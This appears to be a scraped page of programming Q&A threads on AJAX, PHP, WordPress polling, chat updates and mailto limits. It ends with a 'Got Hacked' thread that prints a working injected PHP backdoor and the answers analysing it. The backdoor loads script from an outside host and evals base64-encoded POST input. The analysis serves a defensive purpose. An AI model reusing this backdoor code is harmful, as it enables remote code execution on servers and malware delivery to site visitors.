Ajax post request vulnerability - javascript

I'm trying to record user's clicks on a specific iFrame in a div containing an ad, in order to block problematic IP addresses, thus preventing those who are trying to spam the ad, from being able to click it again. In each click made by the user, a record will be inserted into a table in mySQL database which includes:
IP address
Clicks counter
Unix timestamp
Each user/IP address has a privilege to click the ad 3 times in 24 hours.
For detecting each click on the iFrame ad, I used iframeTracker-jquery class and implemented a JavaScript code as follow:
index.php:
<?php include 'AdProtection.php'; ?>
<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="js/jquery.iframetracker.js"></script>
<script>
jQuery(document).ready(function($) {
$('.iframetrack iframe').iframeTracker({
blurCallback: function() {
console.log("Click has been detected!");
$.ajax({
type: "POST",
url: "update.php"
);
}
});
});
</script>
</head>
<body>
<div class="iframetrack" id="adsense_frame">
<?php //Returns true when a user 's IP address isn't currently blocked by checking in Database. if(AdProtection::protectAd()) echo '<iframe width="728" height="90" src="js/demo/sample-iframe/red.html" frameborder="0" allowtransparency="true" scrolling="no"></iframe>'; ?>
</div>
</body>
</html>
update.php:
<?php
function update($odb)
{
$sql=$odb->prepare('INSERT INTO system (ip, clicks, timestamp) VALUES(:ip, clicks+1, :timestamp) ON DUPLICATE KEY UPDATE clicks = clicks+1, timestamp = :timestamp');
$sql->execute(array(':ip' => ip2long($_SERVER['REMOTE_ADDR']),':timestamp' => time()));
}
//PDO Connection
include ( "db.php");
$sql=$odb->prepare('SELECT clicks, timestamp FROM system WHERE ip= :ip');
$sql->execute(array(':ip' => ip2long($_SERVER['REMOTE_ADDR'])));
$data = $sql->fetch();
if($data != null)
{
if($data['clicks'] % 3 == 0)
{
if(($data['timestamp'] + (24 * 60 * 60)) < time())
update($odb);
else
//User is currently blocked.
}
else
update($odb);
}
else
update($odb);
There are 2 crucial problems when implementing this JavaScript code / jQuery POST request:
The code can be manipulated/modified by an individual since JavaScript is a client-side language.
A spam can be made on the update.php file.
How can I deal with these problems ?

Do the checks server-side. Always.
You have neither control nor reliable knowledge about the client, so with anything sensitive, don't trust it.
Ultimately, a user may just download the source code of an open-source browser and modify it as (s)he wishes.
Disabling things client-side is a nice plus if it indicates that functionality is not available, and it might save you and your users some time and bandwidth, but there are gonna be those who try to circumvent it, and for those you need to be prepared.
Disabling things server-side means just denying execution, i.e. just put an exit; after your comment //User is currently blocked., that should do it.
For your second question: yes, the update.php might get spammed, but so might any other PHP script.
Every reasonable web server I know has some way of limiting the amount of requests a client can make in a certain amount of time.
Lighttpd has a native mod_evasive, nginx has HttpLimitReqModule and for Apache there's a number of things, see this SO answer.
If the spamming exceeds the capabilities of your web server, it's time to look into DDos protection.

Js code may be manipulated by anyone as its client side all what you can do is to minimalise risk of your code to be potentially disabled by other script in order to do it write your js to use only private methods and variables in a self-executing function. So the code will be not visible in global namespace, you may also need to copy definitions of globally available objects (like document or getElementById) as they may change them and not your code itself. After that obfuscate code and minify it.
For PHP you will probably need to implement some kind of authentication to work in pair with your js script as this is nothing more than securing any request for access so maybe IP or session validation. Yo may also implement some other server side mechanisms in order to prevent this script from being accessed by certain IP adresses.
You may also decide to not display iframe at all for certain ip addresses or by device fingerprint http://en.wikipedia.org/wiki/Device_fingerprint which will not depend on client side logic, this will probably make it more secure than solution proposed by you.

Related

Reload div each time meta value of current page is updated in wordpress

For now, I have this :
<?php
$result = get_metadata('post', 3241, 'progression_aujourdhui', true);
?>
<div class="ligne_barre ligne_barre_aujourdhui">
<div id="progress_bar-aujourdhui" class="progress_bar_salle_presse">
<h2 class="progress-title"><?= wp_get_attachment_image(3278, 'full'); ?></h2>
<div class="blocs-barre-progression">
<div class="skill-item">
<div class="progression">
<div class="progress_bar" data-progress-value="<?= $result; ?>" data-progress-equipe="equipe1">
<div class="progress-value"><?= $result . "%" ?></div>
</div>
</div>
</div>
</div>
</div>
</div>
The code is inserted in a page called "Salle de Presse" using a shortcode.
This page called "Salle de Presse" has a metakey named 'progression_aujourdhui'.
On reloading that "Salle de Presse" page, if the value of the metakey "progression_aujourdhui" has been updated, the "data-progress-value" updates well in the div with class "progress_bar".
Now, what I would like is to make the div with class "ligne_barre" to reload each time the value of the meta key "progression_aujourdhui" is updated, without having to refresh the whole page myself.
I know that AJAX is needed, but I'm not sure how to use it in wordpress, and furthermore the "detect when a meta value is updated" part leaves me with no success in my research on the internet.
This will not be an easy task to establish on a wordpress. There are 2 general solutions to this problem.
Use "long pooling", basically call your wordpress api from the frontpage each n seconds and update data if changed. This may prove costly as each client will bombard your backend.
Use web-sockets and subscription method, usually you will need a custom vps (server) for this with nignx proxy, enable tcp connection, and get a "subcription" whenever database changes, but still the logic "to who and where to send this database change info" will be on your side. Wordpress and websocets should be enough to get you going
Good luck
It sounds like you are trying to retrieve data from a database and update the data on the front end without a page reload.
I use Ajax calls quite a lot in wordpress for this and I find them pretty easy to do.
You make an Ajax call from your front end JavaScript.
The Ajax call triggers a PHP function in your function.php file. The function sends a response containing the requested data back to the front end.
The font end JavaScript then processes the response received and updates the page values, etc without reloading the webpage.
Use Ajax. What you'll want is to use a single ajax session to get updates with an infinite timeout. you'll need javascript for this (i dont bother with jquery), and some php hooks.
For javascript you can dynamically generate it such as using admin_url(); to output the path of admin but the normal static path is /wp-admin/admin-ajax.php
Give your elements an id thats related. for instance i use a button to fetch data so use an onclick trigger to a function that sends the ajax.
var t0 = performance.now();
var request=document.getElementById('status');
var table=document.getElementById('contents');//div that will contain the updated html
var t1;
xhr = new XMLHttpRequest();
xhr.open('POST', '../wp-admin/admin-ajax.php',true);//../ forces root url but just / works
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function() {
if (xhr.status === 200) {
t1 = performance.now();
request.innerHTML='Status:Successful Time:'+ (t1-t0) + 'ms';
table.innerHTML=xhr.responseText;
//polymorphism here, recall the ajax function
}
else if (xhr.status !== 200) {
t1 = performance.now();
request.innerHTML='Status:Failed Time:'+ (t1-t0) + 'ms -'+xhr.status;
//polymorphism here, recall the ajax function
}
xhr.send("action=me_action&mevar1="+me_value+"&..."+status);
On the php side you'll need this:
add_action("wp_ajax_me_action", "me_function");
function me_function(){
$response='your response here';
$mevar=$_Request['mevar1'];.....
echo $response;
}
To improve performance, set output_buffering=On or 1 (dont use a set limit as a smaller output will cause delays) in your php.ini as large requests can be more efficiently packaged across the network and with compression.
To continuously update or recheck just use
setTimeout(my-ajax-function,0);
but if the server has a timeout for this then use setInterval(my-ajax-function,less-then-server-timeout-in-milliseconds);
many wordpress setups are already heavy, it takes a lot of resources on servers to run the php that while a static web page can be delivered in 50ms, your wordpress response will tend to be delivered in 500ms-1s for most installs unless you actually know how to optimise it (a service i do offer from the ground up, server to wordpress). I did not use jquery because if you barely need it for a page, please avoid using it to save on resources. Same for your ajax calls, do it with as few requests as possible and try to get everything in 1 request. This applies to other wordpress related work like using the wordpress REST API as each request adds a significant delay that can end up stacking from seconds into minutes. A page of 100 listed items with 100 requests can take 50 seconds, and a lot of CPU, so do it all in 1 or as few requests as possible.

How to properly handle "chat updating" in a chat page?

So I'm trying to make a chat program in JavaScript using AJAX, and PHP. I am currently updating the chat like this, and I'm sure it's very hard on my server:
<div id="messages">[no messages]</div>
This is whats in the file called ajax-load-messages.php
<?php
$sql_posts_result = mysql_query("SELECT Post FROM Posts ORDER BY Date ASC LIMIT 50", $db) or die("Can't load post"."<br/>".mysql_error());
if(!empty($sql_posts_result)){
while($row = mysql_fetch_row($sql_posts_result)){
echo '<div class="message-post">'.$row[0].'</div>';
}
}
?>
and that's called by this javascript:
setInterval(function(){
$('#messages').load('/ajax-load-messages.php');
}, 3000);
So every 3 seconds I load the last 50 messages to the #messages div.
I know there's a way to handle this that isn't even like 10% as resource intensive, but I don't know where to start. How can I handle this better?
Give the table an int autoincrement id. Keep track of the highest id received (in the session maybe), and on next poll only look for ids higher than that (i.e. only records created since last poll).
These would be my suggestions to handle your chat system better:
1) I would suggest to use a chained-setTimeout instead of setInterval
Why? Suppose the load takes longer than 3 seconds. Then setInterval will beat that and cause more than 1 XML HTTP Request to happen, causing a strain in the browser.
This is how a chained setTimeout would look like in your example:
setTimeout(function loadMessages() {
$("#messages").load('/ajax-load-messages.php', function onLoadMessagesComplete(responseText, textStatus, xmlHttpRequest) {
setTimeout(loadMessages, 3000);
});
}
2) Instead of writing HTML in ajax-load-messages.php, you could respond back with a JSON object json_encode(). Then if you keep track of each chat instance's messages in an array that are currently displayed, then you can figure out if there is a new message or not (developerwjk's answer is a good suggestion). This way, you don't have to reload the DOM every 3 seconds (regardless if there was a new message or not). Of course, you would need to keep aware of the memory usage in the browser though.
===
Usually chat systems (like the Facebook, Google+) use pushing systems rather than polling. The server pushes to the client if there is a new message. This reduces the number of requests to the server, but it could be more difficult to implement.

Is it possible to delete an entire Webpage when the user navigates away?

If the user navigates off the webpage, is it possible to execute a php script?
I know that Javascript can be executed..
$(window).bind('beforeunload', function(){
return 'DataTest';
});
Cookies might work, but I am not sure how a listener could track an expired cookie, and then delete the correct webpage.
A sample file system is like this:
user0814HIFA9032RHBFAP3RU.php
user9IB83BFI19Y298RYBFWOF.php
index.php
listener.py
data.txt
Typically, to create the website, php writes to the data.txt and the Python listener picks up this change, and creates the file (user[numbers]). As you might think, these files stack up overtime and they need to be deleted.
The http protocol is stateless, therefore users simply can not "navigate away".
The browser requires a page, the server returns it, and the communication stops.
The server doesn't have reliable methods to know what the client will do with that page.
Disclaimer: I'm not sure, as Fox pointed out, that this is the right way to go in your case. I actuallly upvoted Fox's answer.
However, if you absolutely need to delete each page right after the user left it, use this:
$(window).bind('beforeunload', function() {
$.ajax('yourscript.php?currentUser=0814HIFA9032RHBFAP3RU');
});
Then in yourscript.php, put something like the following:
<?php
// load your userId (for example, with $_SESSION, but do what you want here)
$actualUser = $_SESSION['userId'];
// checks if the requested id to delete fits your actual current user's id
if (isset($_GET['currentUser'] && $_GET['currentUser'] == $actualUser)
{
$user = $_GET['currentUser'];
$file = 'user'.$user.'.php';
unlink($file);
}

What can I use to avoid mailto size limit?

I have read a lot of pages about avoiding the mailto length limit, but I haven't found an answer to my issue.
My problem is that I cannot send mail from the server (with PHP) because the employees have to keep a history of their emails on their private mail box.
I have to open the mail software client with some fields that are filled, after selecting one type of email.
My select looks like like this :
<select <!-- ... --> onchange="sendMailClientSide(this.value);">
<!-- ... -->
</select>
and my javascript function :
function sendMailClientSide(refType) {
// ...
var dest = "test#domain.ty";
var subj = "Why this doesn't work ?";
var body = /* a very big body */;
var linkMailto = "?bcc="+dest+"&subject="+subj+"&body="+body;
document.location.href = "mailto:"+linkMailto;
// ...
}
For some mails types, this works perfectly.
But with a body more larger than 1400 characters, the client software doesn't open.
I have tried submitting HTML form too. With this method, the limit seems to be highter but it still has a limit because it fails with a bigger mail.
And finally, I tried cutting the body (something like this "&body="+body1+"&body="+body2+...) but it doesn't work.
Anybody know if a Firefox plugin exists to expand the mailto size ? Or something like this (something from client side) ?
I don't think that it is directly possible. Maybe with a plugin, as you already suggested.
My workaround would be to provide the user with a simple form which submits to the server which then sends the mail out directly (without opening the clients mail program at all). Thus you can easily avoid the size limit at all.
The problem with this would be, that the user don't have their known email interface and thus special text formatting, custom signatures and stuff like this won't work.
You would have to decide this based on the formatting needs and who is the recipient.

Got Hacked - Anyone know what this PHP Code Does?

Our server got hacked via some SQL Injection method (now patched). All our PHP files got this added to the very top of each file.
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!#$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
It seems to set a cookie but I don't have the first idea what it does.
Any experts able to understand what this does and potentially what the Cookie Name that is created may look like so I can tell any users etc
UPDATE
Seen the exploit was due to a plugin in the Zenphoto Gallery Software called Tiny_MCE.
First it sets a cookie. (named lb11) to the value 102.
If it (later?) finds the cookie, it sets the cookie to a random value
between 1000 and 9000, so that it doesn't do this again: Has the user
request (and execute) a javascript, which sends which which infected
URL made the call, and then refresh the page, (so nothing appears to
have happened after the javascript has run.
But in any case, if the "showimg" parameter is passed to the page, it
looks at the content of that page, and executes it on the server.
So, If this code is present, it will run javascript, (which also informs the server which URL is infected, and then let the person run arbitrary code (via the showimg parameter) on the infected server.
This has 2 layers of attacks, it can attack the client with javascript, and can later attack the server and run arbitrary code on it.
I could be wrong here, but from the looks of it (without testing the links in the code); it could be trying to inject some client-side javascript which could be malicious. This would usually infect the visitors computer with malware etc.
As for the cookie name. I would get your visitors to remove all cookies for your domain, but from the looks of it, the cookie is called "lb11"
I didn't fancy looking at the links as you can understand ;)

Categories